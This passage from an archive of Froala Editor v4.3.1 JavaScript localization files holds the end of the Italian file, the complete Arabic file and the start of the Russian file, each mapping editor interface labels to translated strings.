parole', 'Face with medical mask': 'Malattia infettiva', // Line breaker 'Break': 'Separatore', // Math 'Subscript': 'Pedice', 'Superscript': 'Apice', // Full screen 'Fullscreen': 'Schermo intero', // Horizontal line 'Insert Horizontal Line': 'Inserisci Divisore Orizzontale', // Clear formatting 'Clear Formatting': 'Cancella Formattazione', // Save 'Save': 'Salvare', // Undo, redo 'Undo': 'Annulla', 'Redo': 'Ripeti', // Select all 'Select All': 'Seleziona Tutto', // Code view 'Code View': 'Visualizza Codice', // Quote 'Quote': 'Citazione', 'Increase': 'Aumenta', 'Decrease': 'Diminuisci', // Quick Insert 'Quick Insert': 'Inserimento Rapido', // Spcial Characters 'Special Characters': 'Caratteri Speciali', 'Latin': 'Latino', 'Greek': 'Greco', 'Cyrillic': 'Cirillico', 'Punctuation': 'Punteggiatura', 'Currency': 'Valuta', 'Arrows': 'Frecce', 'Math': 'Matematica', 'Misc': 'Misc', // Print. 'Print': 'Stampa', // Spell Checker. 'Spell Checker': 'Correttore Ortografico', // Help 'Help': 'Aiuto', 'Shortcuts': 'Scorciatoie', 'Inline Editor': 'Editor in Linea', 'Show the editor': 'Mostra Editor', 'Common actions': 'Azioni comuni', 'Copy': 'Copia', 'Cut': 'Taglia', 'Paste': 'Incolla', 'Basic Formatting': 'Formattazione di base', 'Increase quote level': 'Aumenta il livello di citazione', 'Decrease quote level': 'Diminuisci il livello di citazione', 'Image / Video': 'Immagine / Video', 'Resize larger': "Pi\xF9 grande", 'Resize smaller': "Pi\xF9 piccolo", 'Table': 'Tabella', 'Select table cell': 'Seleziona la cella della tabella', 'Extend selection one cell': 'Estendi la selezione di una cella', 'Extend selection one row': 'Estendi la selezione una riga', 'Navigation': 'Navigazione', 'Focus popup / toolbar': 'Metti a fuoco la barra degli strumenti', 'Return focus to previous position': 'Rimetti il fuoco sulla posizione precedente', // Embed.ly 'Embed URL': 'Incorpora URL', 'Paste in a URL to embed': 'Incolla un URL da incorporare', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Il contenuto incollato proviene da un documento di Microsoft Word. Vuoi mantenere la formattazione di Word o pulirlo?', 'Keep': 'Mantieni', 'Clean': 'Pulisci', 'Word Paste Detected': "\xC8 stato rilevato un incolla da Word", // Character Counter 'Characters': 'Caratteri', 'Words': 'Parole', // More Buttons 'More Text': 'Altro Testo', 'More Paragraph': 'Altro Paragrafo', 'More Rich': 'Altro Ricco', 'More Misc': 'Altro Varie' }, direction: 'ltr' }; }))); //# sourceMappingURL=it.js.map languages/ar.js 0000674 00000047712 00000000000 0007431 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Arabic */ FE.LANGUAGE['ar'] = { translation: { // Place holder 'Type something': "\u0627\u0643\u062A\u0628 \u0634\u064A\u0626\u0627", // Basic formatting 'Bold': "\u063A\u0627\u0645\u0642", 'Italic': "\u0645\u0627\u0626\u0644", 'Underline': "\u062A\u0633\u0637\u064A\u0631", 'Strikethrough': "\u064A\u062A\u0648\u0633\u0637 \u062E\u0637", // Main buttons 'Insert': "\u0625\u062F\u0631\u0627\u062C", 'Delete': "\u062D\u0630\u0641", 'Cancel': "\u0625\u0644\u063A\u0627\u0621", 'OK': "\u0645\u0648\u0627\u0641\u0642", 'Back': "\u0638\u0647\u0631", 'Remove': "\u0625\u0632\u0627\u0644\u0629", 'More': "\u0623\u0643\u062B\u0631", 'Update': "\u0627\u0644\u062A\u062D\u062F\u064A\u062B", 'Style': "\u0623\u0633\u0644\u0648\u0628", // Font 'Font Family': "\u0639\u0627\u0626\u0644\u0629 \u0627\u0644\u062E\u0637", 'Font Size': "\u062D\u062C\u0645 \u0627\u0644\u062E\u0637", // Colors 'Colors': "\u0627\u0644\u0623\u0644\u0648\u0627\u0646", 'Background': "\u0627\u0644\u062E\u0644\u0641\u064A\u0629", 'Text': "\u0627\u0644\u0646\u0635", 'HEX Color': 'عرافة اللون', // Paragraphs 'Paragraph Format': "\u062A\u0646\u0633\u064A\u0642 \u0627\u0644\u0641\u0642\u0631\u0629", 'Normal': "\u0637\u0628\u064A\u0639\u064A", 'Code': "\u0643\u0648\u062F", 'Heading 1': "\u0627\u0644\u0639\u0646\u0627\u0648\u064A\u0646 1", 'Heading 2': "\u0627\u0644\u0639\u0646\u0627\u0648\u064A\u0646 2", 'Heading 3': "\u0627\u0644\u0639\u0646\u0627\u0648\u064A\u0646 3", 'Heading 4': "\u0627\u0644\u0639\u0646\u0627\u0648\u064A\u0646 4", // Style 'Paragraph Style': "\u0646\u0645\u0637 \u0627\u0644\u0641\u0642\u0631\u0629", 'Inline Style': "\u0627\u0644\u0646\u0645\u0637 \u0627\u0644\u0645\u0636\u0645\u0646", // Alignment 'Align': "\u0645\u062D\u0627\u0630\u0627\u0629", 'Align Left': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0627\u0644\u0646\u0635 \u0644\u0644\u064A\u0633\u0627\u0631", 'Align Center': "\u062A\u0648\u0633\u064A\u0637", 'Align Right': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0627\u0644\u0646\u0635 \u0644\u0644\u064A\u0645\u064A\u0646", 'Align Justify': "\u0636\u0628\u0637", 'None': "\u0644\u0627 \u0634\u064A\u0621", // Lists 'Ordered List': "\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u062A\u0628\u0629", 'Default': 'الافتراضي', 'Lower Alpha': 'أقل ألفا', 'Lower Greek': 'أقل اليونانية', 'Lower Roman': 'انخفاض الروماني', 'Upper Alpha': 'العلوي ألفا', 'Upper Roman': 'الروماني العلوي', 'Unordered List': "\u0642\u0627\u0626\u0645\u0629 \u063A\u064A\u0631 \u0645\u0631\u062A\u0628\u0629", 'Circle': 'دائرة', 'Disc': 'القرص', 'Square': 'ميدان', // Line height 'Line Height': 'ارتفاع خط', 'Single': 'غير مرتبطة', 'Double': 'مزدوج', // Indent 'Decrease Indent': "\u0627\u0646\u062E\u0641\u0627\u0636 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062F\u0626\u0629", 'Increase Indent': "\u0632\u064A\u0627\u062F\u0629 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062F\u0626\u0629", // Links 'Insert Link': "\u0625\u062F\u0631\u0627\u062C \u0631\u0627\u0628\u0637", 'Open in new tab': "\u0641\u062A\u062D \u0641\u064A \u0639\u0644\u0627\u0645\u0629 \u062A\u0628\u0648\u064A\u0628 \u062C\u062F\u064A\u062F\u0629", 'Open Link': "\u0627\u0641\u062A\u062D \u0627\u0644\u0631\u0627\u0628\u0637", 'Edit Link': "\u0627\u0631\u062A\u0628\u0627\u0637 \u062A\u062D\u0631\u064A\u0631", 'Unlink': "\u062D\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637", 'Choose Link': "\u0627\u062E\u062A\u064A\u0627\u0631 \u0635\u0644\u0629", // Images 'Insert Image': "\u0625\u062F\u0631\u0627\u062C \u0635\u0648\u0631\u0629", 'Upload Image': "\u062A\u062D\u0645\u064A\u0644 \u0635\u0648\u0631\u0629", 'By URL': "\u0628\u0648\u0627\u0633\u0637\u0629 URL", 'Browse': "\u062A\u0635\u0641\u062D", 'Drop image': "\u0625\u0633\u0642\u0627\u0637 \u0635\u0648\u0631\u0629", 'or click': "\u0623\u0648 \u0627\u0646\u0642\u0631 \u0641\u0648\u0642", 'Manage Images': "\u0625\u062F\u0627\u0631\u0629 \u0627\u0644\u0635\u0648\u0631", 'Loading': "\u062A\u062D\u0645\u064A\u0644", 'Deleting': "\u062D\u0630\u0641", 'Tags': "\u0627\u0644\u0643\u0644\u0645\u0627\u062A", 'Are you sure? Image will be deleted.': "\u0647\u0644 \u0623\u0646\u062A \u0645\u062A\u0623\u0643\u062F\u061F \u0633\u064A\u062A\u0645 \u062D\u0630\u0641 \u0627\u0644\u0635\u0648\u0631\u0629.", 'Replace': "\u0627\u0633\u062A\u0628\u062F\u0627\u0644", 'Uploading': "\u062A\u062D\u0645\u064A\u0644", 'Loading image': "\u0635\u0648\u0631\u0629 \u062A\u062D\u0645\u064A\u0644", 'Display': "\u0639\u0631\u0636", 'Inline': "\u0641\u064A \u062E\u0637", 'Break Text': "\u0646\u0635 \u0627\u0633\u062A\u0631\u0627\u062D\u0629", 'Alternative Text': "\u0646\u0635 \u0628\u062F\u064A\u0644", 'Change Size': "\u062A\u063A\u064A\u064A\u0631 \u062D\u062C\u0645", 'Width': "\u0639\u0631\u0636", 'Height': "\u0627\u0631\u062A\u0641\u0627\u0639", 'Something went wrong. Please try again.': ".\u062D\u062F\u062B \u062E\u0637\u0623 \u0645\u0627. \u062D\u0627\u0648\u0644 \u0645\u0631\u0629 \u0627\u062E\u0631\u0649", 'Image Caption': 'تعليق على الصورة', 'Advanced Edit': 'تعديل متقدم', // Video 'Insert Video': "\u0625\u062F\u0631\u0627\u062C \u0641\u064A\u062F\u064A\u0648", 'Embedded Code': "\u0627\u0644\u062A\u0639\u0644\u064A\u0645\u0627\u062A \u0627\u0644\u0628\u0631\u0645\u062C\u064A\u0629 \u0627\u0644\u0645\u0636\u0645\u0646\u0629", 'Paste in a video URL': 'لصق في عنوان ورل للفيديو', 'Drop video': 'انخفاض الفيديو', 'Your browser does not support HTML5 video.': 'متصفحك لا يدعم فيديو HTML5.', 'Upload Video': 'رفع فيديو', // Tables 'Insert Table': "\u0625\u062F\u0631\u0627\u062C \u062C\u062F\u0648\u0644", 'Table Header': "\u0631\u0623\u0633 \u0627\u0644\u062C\u062F\u0648\u0644", 'Remove Table': "\u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u062C\u062F\u0648\u0644", 'Table Style': "\u0646\u0645\u0637 \u0627\u0644\u062C\u062F\u0648\u0644", 'Horizontal Align': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0623\u0641\u0642\u064A\u0629", 'Row': "\u0635\u0641", 'Insert row above': "\u0625\u062F\u0631\u0627\u062C \u0635\u0641 \u0644\u0644\u0623\u0639\u0644\u0649", 'Insert row below': "\u0625\u062F\u0631\u0627\u062C \u0635\u0641 \u0644\u0644\u0623\u0633\u0641\u0644", 'Delete row': "\u062D\u0630\u0641 \u0635\u0641", 'Column': "\u0639\u0645\u0648\u062F", 'Insert column before': "\u0625\u062F\u0631\u0627\u062C \u0639\u0645\u0648\u062F \u0644\u0644\u064A\u0633\u0627\u0631", 'Insert column after': "\u0625\u062F\u0631\u0627\u062C \u0639\u0645\u0648\u062F \u0644\u0644\u064A\u0645\u064A\u0646", 'Delete column': "\u062D\u0630\u0641 \u0639\u0645\u0648\u062F", 'Cell': "\u062E\u0644\u064A\u0629", 'Merge cells': "\u062F\u0645\u062C \u062E\u0644\u0627\u064A\u0627", 'Horizontal split': "\u0627\u0646\u0642\u0633\u0627\u0645 \u0623\u0641\u0642\u064A", 'Vertical split': "\u0627\u0644\u0627\u0646\u0642\u0633\u0627\u0645 \u0627\u0644\u0639\u0645\u0648\u062F\u064A", 'Cell Background': "\u062E\u0644\u0641\u064A\u0629 \u0627\u0644\u062E\u0644\u064A\u0629", 'Vertical Align': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0639\u0645\u0648\u062F\u064A\u0629", 'Top': "\u0623\u0639\u0644\u0649", 'Middle': "\u0648\u0633\u0637", 'Bottom': "\u0623\u0633\u0641\u0644", 'Align Top': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0623\u0639\u0644\u0649", 'Align Middle': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0648\u0633\u0637", 'Align Bottom': "\u0645\u062D\u0627\u0630\u0627\u0629 \u0627\u0644\u0623\u0633\u0641\u0644", 'Cell Style': "\u0646\u0645\u0637 \u0627\u0644\u062E\u0644\u064A\u0629", // Files 'Upload File': "\u062A\u062D\u0645\u064A\u0644 \u0627\u0644\u0645\u0644\u0641", 'Drop file': "\u0627\u0646\u062E\u0641\u0627\u0636 \u0627\u0644\u0645\u0644\u0641", // Emoticons 'Emoticons': "\u0627\u0644\u0645\u0634\u0627\u0639\u0631", 'Grinning face': "\u064A\u0643\u0634\u0631 \u0648\u062C\u0647\u0647", 'Grinning face with smiling eyes': "\u0645\u0628\u062A\u0633\u0645\u0627 \u0648\u062C\u0647 \u0645\u0639 \u064A\u0628\u062A\u0633\u0645 \u0627\u0644\u0639\u064A\u0646", 'Face with tears of joy': "\u0648\u062C\u0647 \u0645\u0639 \u062F\u0645\u0648\u0639 \u0627\u0644\u0641\u0631\u062D", 'Smiling face with open mouth': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645", 'Smiling face with open mouth and smiling eyes': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645 \u0648\u0627\u0644\u0639\u064A\u0646\u064A\u0646 \u064A\u0628\u062A\u0633\u0645", 'Smiling face with open mouth and cold sweat': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645 \u0648\u0627\u0644\u0639\u0631\u0642 \u0627\u0644\u0628\u0627\u0631\u062F", 'Smiling face with open mouth and tightly-closed eyes': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645 \u0648\u0627\u0644\u0639\u064A\u0646\u064A\u0646 \u0645\u063A\u0644\u0642\u0629 \u0628\u0625\u062D\u0643\u0627\u0645", 'Smiling face with halo': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0647\u0627\u0644\u0629", 'Smiling face with horns': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0628\u0642\u0631\u0648\u0646", 'Winking face': "\u0627\u0644\u063A\u0645\u0632 \u0648\u062C\u0647", 'Smiling face with smiling eyes': "\u064A\u0628\u062A\u0633\u0645 \u0648\u062C\u0647 \u0645\u0639 \u0639\u064A\u0648\u0646 \u062A\u0628\u062A\u0633\u0645", 'Face savoring delicious food': "\u064A\u0648\u0627\u062C\u0647 \u0644\u0630\u064A\u0630 \u0627\u0644\u0645\u0630\u0627\u0642 \u0644\u0630\u064A\u0630 \u0627\u0644\u0637\u0639\u0627\u0645", 'Relieved face': "\u0648\u062C\u0647 \u0628\u0627\u0644\u0627\u0631\u062A\u064A\u0627\u062D", 'Smiling face with heart-shaped eyes': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0628\u0639\u064A\u0646\u064A\u0646 \u0639\u0644\u0649 \u0634\u0643\u0644 \u0642\u0644\u0628", 'Smiling face with sunglasses': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0628\u062A\u0633\u0645 \u0645\u0639 \u0627\u0644\u0646\u0638\u0627\u0631\u0627\u062A \u0627\u0644\u0634\u0645\u0633\u064A\u0629", 'Smirking face': "\u0633\u0645\u064A\u0631\u0643\u064A\u0646\u062C \u0627\u0644\u0648\u062C\u0647", 'Neutral face': "\u0645\u062D\u0627\u064A\u062F \u0627\u0644\u0648\u062C\u0647", 'Expressionless face': "\u0648\u062C\u0647 \u0627\u0644\u062A\u0639\u0627\u0628\u064A\u0631", 'Unamused face': "\u0644\u0627 \u0645\u0633\u0644\u064A\u0627 \u0627\u0644\u0648\u062C\u0647", 'Face with cold sweat': "\u0648\u062C\u0647 \u0645\u0639 \u0639\u0631\u0642 \u0628\u0627\u0631\u062F", 'Pensive face': "\u0648\u062C\u0647 \u0645\u062A\u0623\u0645\u0644", 'Confused face': "\u0648\u062C\u0647 \u0627\u0644\u062E\u0644\u0637", 'Confounded face': "\u0648\u062C\u0647 \u0645\u0631\u062A\u0628\u0643", 'Kissing face': "\u062A\u0642\u0628\u064A\u0644 \u0627\u0644\u0648\u062C\u0647", 'Face throwing a kiss': "\u0645\u0648\u0627\u062C\u0647\u0629 \u0631\u0645\u064A \u0642\u0628\u0644\u0629", 'Kissing face with smiling eyes': "\u062A\u0642\u0628\u064A\u0644 \u0648\u062C\u0647 \u0645\u0639 \u0639\u064A\u0648\u0646 \u062A\u0628\u062A\u0633\u0645", 'Kissing face with closed eyes': "\u062A\u0642\u0628\u064A\u0644 \u0648\u062C\u0647 \u0645\u0639 \u0639\u064A\u0648\u0646 \u0645\u063A\u0644\u0642\u0629", 'Face with stuck out tongue': "\u0627\u0644\u0648\u062C\u0647 \u0645\u0639 \u062A\u0645\u0633\u0643 \u0628\u0647\u0627 \u0627\u0644\u0644\u0633\u0627\u0646", 'Face with stuck out tongue and winking eye': "\u0627\u0644\u0648\u062C\u0647 \u0645\u0639 \u062A\u0645\u0633\u0643 \u0628\u0647\u0627 \u0627\u0644\u0644\u0633\u0627\u0646 \u0648\u0627\u0644\u0639\u064A\u0646 \u0627\u0644\u062A\u063A\u0627\u0636\u064A", 'Face with stuck out tongue and tightly-closed eyes': "\u0627\u0644\u0648\u062C\u0647 \u0645\u0639 \u062A\u0645\u0633\u0643 \u0628\u0647\u0627 \u0627\u0644\u0644\u0633\u0627\u0646 \u0648\u0627\u0644\u0639\u064A\u0648\u0646 \u0645\u063A\u0644\u0642\u0629 \u0628\u0623\u062D\u0643\u0627\u0645-", 'Disappointed face': "\u0648\u062C\u0647\u0627 \u062E\u064A\u0628\u0629 \u0623\u0645\u0644", 'Worried face': "\u0648\u062C\u0647\u0627 \u0627\u0644\u0642\u0644\u0642\u0648\u0646", 'Angry face': "\u0648\u062C\u0647 \u063A\u0627\u0636\u0628", 'Pouting face': "\u0627\u0644\u0639\u0628\u0648\u0633 \u0648\u062C\u0647", 'Crying face': "\u0627\u0644\u0628\u0643\u0627\u0621 \u0627\u0644\u0648\u062C\u0647", 'Persevering face': "\u0627\u0644\u0645\u062B\u0627\u0628\u0631\u0629 \u0648\u062C\u0647\u0647", 'Face with look of triumph': "\u0648\u0627\u062C\u0647 \u0645\u0639 \u0646\u0638\u0631\u0629 \u0627\u0646\u062A\u0635\u0627\u0631", 'Disappointed but relieved face': "\u0628\u062E\u064A\u0628\u0629 \u0623\u0645\u0644 \u0648\u0644\u0643\u0646 \u064A\u0639\u0641\u0649 \u0648\u062C\u0647", 'Frowning face with open mouth': "\u0645\u0642\u0637\u0628 \u0627\u0644\u0648\u062C\u0647 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645", 'Anguished face': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u0624\u0644\u0645", 'Fearful face': "\u0627\u0644\u0648\u062C\u0647 \u0627\u0644\u0645\u062E\u064A\u0641", 'Weary face': "\u0648\u062C\u0647\u0627 \u0628\u0627\u0644\u0636\u062C\u0631", 'Sleepy face': "\u0648\u062C\u0647 \u0646\u0639\u0633\u0627\u0646", 'Tired face': "\u0648\u062C\u0647 \u0645\u062A\u0639\u0628", 'Grimacing face': "\u0648\u062E\u0631\u062C \u0633\u064A\u0633 \u0627\u0644\u0648\u062C\u0647", 'Loudly crying face': "\u0627\u0644\u0628\u0643\u0627\u0621 \u0628\u0635\u0648\u062A \u0639\u0627\u0644 \u0648\u062C\u0647\u0647", 'Face with open mouth': "\u0648\u0627\u062C\u0647 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645", 'Hushed face': "\u0648\u062C\u0647\u0627 \u0627\u0644\u062A\u0643\u062A\u0645", 'Face with open mouth and cold sweat': "\u0648\u0627\u062C\u0647 \u0645\u0639 \u0641\u062A\u062D \u0627\u0644\u0641\u0645 \u0648\u0627\u0644\u0639\u0631\u0642 \u0627\u0644\u0628\u0627\u0631\u062F", 'Face screaming in fear': "\u0648\u0627\u062C\u0647 \u064A\u0635\u0631\u062E \u0641\u064A \u062E\u0648\u0641", 'Astonished face': "\u0648\u062C\u0647\u0627 \u062F\u0647\u0634", 'Flushed face': "\u0627\u062D\u0645\u0631\u0627\u0631 \u0627\u0644\u0648\u062C\u0647", 'Sleeping face': "\u0627\u0644\u0646\u0648\u0645 \u0627\u0644\u0648\u062C\u0647", 'Dizzy face': "\u0648\u062C\u0647\u0627 \u0628\u0627\u0644\u062F\u0648\u0627\u0631", 'Face without mouth': "\u0648\u0627\u062C\u0647 \u062F\u0648\u0646 \u0627\u0644\u0641\u0645", 'Face with medical mask': "\u0648\u0627\u062C\u0647 \u0645\u0639 \u0642\u0646\u0627\u0639 \u0627\u0644\u0637\u0628\u064A\u0629", // Line breaker 'Break': "\u0627\u0644\u0627\u0646\u0642\u0633\u0627\u0645", // Math 'Subscript': "\u0645\u0646\u062E\u0641\u0636", 'Superscript': "\u062D\u0631\u0641 \u0641\u0648\u0642\u064A", // Full screen 'Fullscreen': "\u0643\u0627\u0645\u0644 \u0627\u0644\u0634\u0627\u0634\u0629", // Horizontal line 'Insert Horizontal Line': "\u0625\u062F\u0631\u0627\u062C \u062E\u0637 \u0623\u0641\u0642\u064A", // Clear formatting 'Clear Formatting': "\u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u062A\u0646\u0633\u064A\u0642", // Save 'Save': "\u062D\u0641\u0638", // Undo, redo 'Undo': "\u062A\u0631\u0627\u062C\u0639", 'Redo': "\u0625\u0639\u0627\u062F\u0629", // Select all 'Select All': "\u062A\u062D\u062F\u064A\u062F \u0627\u0644\u0643\u0644", // Code view 'Code View': "\u0639\u0631\u0636 \u0627\u0644\u062A\u0639\u0644\u064A\u0645\u0627\u062A \u0627\u0644\u0628\u0631\u0645\u062C\u064A\u0629", // Quote 'Quote': "\u0627\u0642\u062A\u0628\u0633", 'Increase': "\u0632\u064A\u0627\u062F\u0629", 'Decrease': "\u0627\u0646\u062E\u0641\u0627\u0636", // Quick Insert 'Quick Insert': "\u0625\u062F\u0631\u0627\u062C \u0633\u0631\u064A\u0639", // Spcial Characters 'Special Characters': 'أحرف خاصة', 'Latin': 'لاتينية', 'Greek': 'الإغريقي', 'Cyrillic': 'السيريلية', 'Punctuation': 'علامات ترقيم', 'Currency': 'دقة', 'Arrows': 'السهام', 'Math': 'الرياضيات', 'Misc': 'متفرقات', // Print. 'Print': 'طباعة', // Spell Checker. 'Spell Checker': 'مدقق املائي', // Help 'Help': 'مساعدة', 'Shortcuts': 'اختصارات', 'Inline Editor': 'محرر مضمنة', 'Show the editor': 'عرض المحرر', 'Common actions': 'الإجراءات المشتركة', 'Copy': 'نسخ', 'Cut': 'يقطع', 'Paste': 'معجون', 'Basic Formatting': 'التنسيق الأساسي', 'Increase quote level': 'زيادة مستوى الاقتباس', 'Decrease quote level': 'انخفاض مستوى الاقتباس', 'Image / Video': 'صورة / فيديو', 'Resize larger': 'تغيير حجم أكبر', 'Resize smaller': 'تغيير حجم أصغر', 'Table': 'الطاولة', 'Select table cell': 'حدد خلية الجدول', 'Extend selection one cell': 'توسيع اختيار خلية واحدة', 'Extend selection one row': 'تمديد اختيار صف واحد', 'Navigation': 'التنقل', 'Focus popup / toolbar': 'التركيز المنبثقة / شريط الأدوات', 'Return focus to previous position': 'عودة التركيز إلى الموقف السابق', // Embed.ly 'Embed URL': 'تضمين عنوان ورل', 'Paste in a URL to embed': 'الصق في عنوان ورل لتضمينه', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'المحتوى الذي تم لصقه قادم من وثيقة كلمة ميكروسوفت. هل تريد الاحتفاظ بالتنسيق أو تنظيفه؟', 'Keep': 'احتفظ', 'Clean': 'نظيف', 'Word Paste Detected': 'تم اكتشاف معجون الكلمات', // Character Counter 'Characters': 'الشخصيات', // More Buttons 'More Text': 'المزيد من النص', 'More Paragraph': ' المزيد من الفقرة', 'More Rich': ' أكثر ثراء', 'More Misc': ' أكثر متفرقات' }, direction: 'rtl' }; }))); //# sourceMappingURL=ar.js.map languages/ru.js 0000674 00000061427 00000000000 0007454 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Russian */ FE.LANGUAGE['ru'] = { translation: { // Place holder 'Type something': "\u041D\u0430\u043F\u0438\u0448\u0438\u0442\u0435 \u0447\u0442\u043E-\u043D\u0438\u0431\u0443\u0434\u044C", // Basic formatting 'Bold': "\u0416\u0438\u0440\u043D\u044B\u0439", 'Italic': "\u041A\u0443\u0440\u0441\u0438\u0432", 'Underline': "\u041F\u043E\u0434\u0447\u0435\u0440\u043A\u043D\u0443\u0442\u044B\u0439", 'Strikethrough': "\u0417\u0430\u0447\u0435\u0440\u043A\u043D\u0443\u0442\u044B\u0439", // Main buttons 'Insert': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C", 'Delete': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C", 'Cancel': "\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C", 'OK': "\u041E\u043A", 'Back': "\u043D\u0430\u0437\u0430\u0434", 'Remove': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C", 'More': "\u0411\u043E\u043B\u044C\u0448\u0435", 'Update': "\u041E\u0431\u043D\u043E\u0432\u0438\u0442\u044C", 'Style': "\u0421\u0442\u0438\u043B\u044C", // Font 'Font Family': "\u0428\u0440\u0438\u0444\u0442", 'Font Size': "\u0420\u0430\u0437\u043C\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430", // Colors 'Colors': "\u0426\u0432\u0435\u0442\u0430", 'Background': "\u0424\u043E\u043D", 'Text': "\u0422\u0435\u043A\u0441\u0442", 'HEX Color': 'HEX цвет', // Paragraphs 'Paragraph Format': "\u0424\u043E\u0440\u043C\u0430\u0442 \u0430\u0431\u0437\u0430\u0446\u0430", 'Normal': "\u041D\u043E\u0440\u043C\u0430\u043B\u044C\u043D\u044B\u0439", 'Code': "\u041A\u043E\u0434", 'Heading 1': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 1", 'Heading 2': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 2", 'Heading 3': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 3", 'Heading 4': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 4", // Style 'Paragraph Style': "\u0421\u0442\u0438\u043B\u044C \u0430\u0431\u0437\u0430\u0446\u0430", 'Inline Style': "\u0412\u0441\u0442\u0440\u043E\u0435\u043D\u043D\u044B\u0439 \u0441\u0442\u0438\u043B\u044C", // Alignment 'Align': "\u0412\u044B\u0440\u043E\u0432\u043D\u044F\u0442\u044C \u043F\u043E", 'Align Left': "\u041F\u043E \u043B\u0435\u0432\u043E\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Center': "\u041F\u043E \u0446\u0435\u043D\u0442\u0440\u0443", 'Align Right': "\u041F\u043E \u043F\u0440\u0430\u0432\u043E\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Justify': "\u041F\u043E \u0448\u0438\u0440\u0438\u043D\u0435", 'None': "\u041D\u0438\u043A\u0430\u043A", // Lists 'Ordered List': "\u041D\u0443\u043C\u0435\u0440\u043E\u0432\u0430\u043D\u043D\u044B\u0439 \u0441\u043F\u0438\u0441\u043E\u043A", 'Unordered List': "\u041C\u0430\u0440\u043A\u0438\u0440\u043E\u0432\u0430\u043D\u043D\u044B\u0439 \u0441\u043F\u0438\u0441\u043E\u043A", 'Default': 'По умолчанию', 'Lower Alpha': 'Нижняя альфа', 'Lower Greek': 'Нижний греческий', 'Lower Roman': 'Нижний римский', 'Upper Alpha': 'Верхняя альфа', 'Upper Roman': 'Верхний римский', 'Circle': 'Круг', 'Disc': 'Диск', 'Square': 'Площадь', // Line height 'Line Height': 'Высота линии', 'Single': 'Одинарный', 'Double': 'Двойной', // Indent 'Decrease Indent': "\u0423\u043C\u0435\u043D\u044C\u0448\u0438\u0442\u044C \u043E\u0442\u0441\u0442\u0443\u043F", 'Increase Indent': "\u0423\u0432\u0435\u043B\u0438\u0447\u0438\u0442\u044C \u043E\u0442\u0441\u0442\u0443\u043F", // Links 'Insert Link': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044C \u0441\u0441\u044B\u043B\u043A\u0443", 'Open in new tab': "\u041E\u0442\u043A\u0440\u044B\u0442\u044C \u0432 \u043D\u043E\u0432\u043E\u0439 \u0432\u043A\u043B\u0430\u0434\u043A\u0435", 'Open Link': "\u041F\u0435\u0440\u0435\u0439\u0442\u0438 \u043F\u043E \u0441\u0441\u044B\u043B\u043A\u0435", 'Edit Link': "\u041E\u0442\u0440\u0435\u0434\u0430\u043A\u0442\u0438\u0440\u043E\u0432\u0430\u0442\u044C \u0441\u0441\u044B\u043B\u043A\u0443", 'Unlink': "\u0423\u0434\u0430\u043B\u0438\u0442\u044C \u0441\u0441\u044B\u043B\u043A\u0443", 'Choose Link': 